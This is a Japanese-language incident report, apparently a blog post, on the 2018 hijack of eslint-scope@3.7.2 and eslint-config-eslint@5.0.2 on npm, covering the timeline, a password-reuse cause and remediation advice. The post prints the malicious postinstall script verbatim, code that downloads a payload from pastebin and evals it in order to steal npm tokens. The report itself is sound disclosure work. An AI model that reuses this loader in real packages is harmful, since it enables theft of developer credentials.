JavaScript
npm
セキュリティ
webpack
ESLint

2018/07/12 に発生したセキュリティ インシデント (eslint-scope@3.7.2) について

2018 年 7 月 12 日に、ESLint 開発チームが管理する npm パッケージに悪意あるコードが挿入されるセキュリティ インシデントがありました。

以下の場合に npm install を実行したユーザーの npm アカウントへのログイン情報 (アクセストークン) が盗まれた恐れがあります (盗まれたアクセストークンはすでに無効化されています)。

  • 日本時間の 18:49 から 19:25 の約 1 時間のあいだに npm install を実行し、eslint-config-eslint@5.x またはそれに依存しているパッケージをインストールした。
  • 日本時間の 19:40 から 21:37 の約 2 時間のあいだに npm install を実行し、eslint-scope@3.x またはそれに依存しているパッケージ (Webpack, ESLint 4, babel-eslint, vue-eslint-parser, eslint-plugin-vue 等) をインストールした。

特に ESLint 4 と Webpack が含まれている点で影響が大きいと考えられます。影響の大きさを鑑みて、npm の運営は問題が終息した時刻より前に発行されたアクセストークンをすべて破棄しました。これにより、攻撃コードが搾取したアクセストークンはすべて無効化されています。

攻撃コードが公開されてからアクセストークンが破棄されるまでの間に、npm リポジトリへ攻撃者と同一 IP アドレスによるアクセスは無かったそうです (Tor の出口ノードの IP アドレスだったそうなので、それだけで安全の保証にはなりませんが...)。

npm にパッケージを公開している開発者の方は、ご自身のパッケージに異常がないこと、二要素認証が有効になっていることの確認をお願いいたします。

タイムライン

(時刻はすべて日本時間です。)

  • 16:00 頃 ... ESLint メンテナの一人の npm アカウントがハックされた。
  • 18:49 ... eslint-config-eslint@5.0.2 が攻撃者によってリリースされ、これの post-install スクリプトにインストールした人の npm アカウントへのログイン情報 (アクセストークン) を盗むコードが書かれていた (また、この攻撃コードは後で書き換えられるようになっていた)。
  • 19:25 ... eslint-config-eslint@5.0.2 が攻撃者自身によって取り消された。
  • 19:40 ... eslint-scope@3.7.2 が攻撃者によってリリースされた。これには eslint-config-eslint@5.0.2 とまったく同じ攻撃コードが追加されていた。
  • 20:17 ... 問題が発覚して Issue に報告された
  • 20:37 ... 他の ESLint メンテナが気づいて npm に報告した。
  • 21:37 ... npm 運営が eslint-scope@3.7.2 を取り消した。
  • 22:00 頃 ... ハックされたメンテナが気づいてパスワード変更・トークン破棄・二要素認証有効化を実施した。ログに基づいて、他の侵害はないことがわかった。
  • 25:00 頃 ... npm 運営がセキュリティ インシデントをアナウンスした。また、npm 運営と ESLint チームの話し合いが行われた。
  • 26:30 頃 ... 念のためにより新しいバージョン番号 (eslint-scope@3.7.3) でリリースを実施した。
  • 27:52 ... npm 運営は、問題が終息するより前に発行されたすべてのアクセストークンを破棄した。

どのようにハックされたか

今回アカウントをハックされたメンテナは他のサービスと npm とで同じパスワードを使っていたとのことで、他のサービスで流出したパスワードを用いてログインされてしまったものと考えられます。

  • パスワードの使い回しを避ける
  • 多要素認証を有効化する

これらのことを実施していれば避けられたインシデントでした。

どのような攻撃コードが挿入されたか

eslint-config-eslint@5.0.2, eslint-scope@3.7.2 ともに、以下のスクリプトが npm install の後処理として実行されるようになっていました (インデント等そのまま)。

lib/build.js
try{
var https=require('https');
https.get({'hostname':'pastebin.com',path:'/raw/XLeVP82h',headers:{'User-Agent':'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',Accept:'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'}},(r)=>{
r.setEncoding('utf8');
r.on('data',(c)=>{
eval(c);
});
r.on('error',()=>{});

}).on('error',()=>{});
}catch(e){}

チャンクをそのまま eval しているので、通信時のチャンク分割で構文エラーになり発覚したようです。

ダウンロードしているコードは、当初、npm のログイン用トークンが含まれているファイルを外部に送信するようなコードになっていたそうです (私自身はそのコードを確認できていません)。現在は無意味な文字列になっています。